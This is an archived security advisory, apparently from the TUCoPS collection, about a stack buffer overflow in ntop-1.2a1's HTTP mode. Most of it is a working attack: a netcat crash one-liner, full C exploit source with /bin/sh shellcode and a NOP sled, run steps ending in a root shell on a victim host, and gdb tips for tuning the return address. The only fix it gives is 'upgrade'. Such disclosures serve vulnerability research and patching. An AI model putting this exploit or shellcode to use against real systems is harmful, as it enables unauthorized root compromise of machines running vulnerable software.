TUCoPS :: Unix :: General :: ntop2-2.htm

Vulnerability
 ntop
Affected
 ntop-1.2a1 (at least)
Description
 Matt found following. ntop has a stack-based BOF when it's
 requested too long filename. This has been tested with version
 ntop-1.2a1.
 Example:
 1. first run ntop -w 8080
 2. run this script
 $ printf "GET /`perl -e 'print "A"x240'`\r\n\r\n" |nc localhost 8080
 3. the ntop goes seg. fault.
 $ ntop -w 8080
 ntop v.1.2a1 MT [i686-pc-linux-gnu] listening on eth0.
 Copyright 1998-99 by Luca Deri <deri@unipi.it>
 Warning: unable to read file '.ntop'. No security will be used!
 Waiting for HTTP connections on port 8080...
 Segmentation fault
 So, the exploit goes like this:
 #include <stdio.h>
 #include <string.h>
 char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";
 void usage()
 {
 printf("NTOP ntop-1.2a1 -w mode command execution exploit.\n");
 printf(" mat@hacksware.com\n");
 printf("Usage : ./ntop-w-exp | nc victim port\n");
 exit(0);
 }
 void main( int argc, char *argv[] )
 {
 int i,offset=-24;
 #define CODE_LEN 240
 #define NOP_LEN 50
 char code_buf[CODE_LEN];
 unsigned long esp=0xbedffb00;
 if(argc>= 2) offset = atoi(argv[1]);
 memset(code_buf,0x90,NOP_LEN); //insert NOP CODES
 memcpy(code_buf+NOP_LEN, shellcode, strlen(shellcode));
 for(i=strlen(shellcode)+NOP_LEN;i<=CODE_LEN;i+=4)
 *(long *)&code_buf[i]=(unsigned long)esp-offset;
 printf("GET /");
 for(i=0;i<CODE_LEN; i++)
 {
 putchar(code_buf[i]);
 }
 printf("\r\n\r\n");
 }
 Example:
 1. first you run ntop -w 8080 in victim machine
 [mat@overheaven mat]$ id
 uid=500(mat) gid=500(mat) groups=500(mat),0(root),200(staff)
 [mat@overheaven mat]$ ntop -w 8080
 ntop v.1.2a1 MT [i686-pc-linux-gnu] listening on eth0.
 Copyright 1998-99 by Luca Deri <deri@unipi.it>
 Warning: unable to read file '.ntop'. No security will be used!
 Waiting for HTTP connections on port 8080...
 2. compile exploit
 $ gcc -o ntop-w-exp ntop-w-exp.c
 3. send shell code to overheaven
 $ ./ntop-w-exp |nc overheaven 8080
 4. Now you get root shell in overheaven terminal
 base# hostname
 overheaven
 bash# id
 uid=0(root) gid=500(mat) groups=500(mat),0(root),200(staff)
 You cannot get shell in WWW port, so you can alternatively run
 programs other than "/bin/sh" by modifying shellcode. If you
 cannot get shellcode to work, you must modify esp value in
 ntop-w-exp.c. Using gdb you can easily guess it.
 1. break returnHTTPPage
 2. break strcpy
 3. x/x $esp
Solution
 Upgrade to latest ntop version.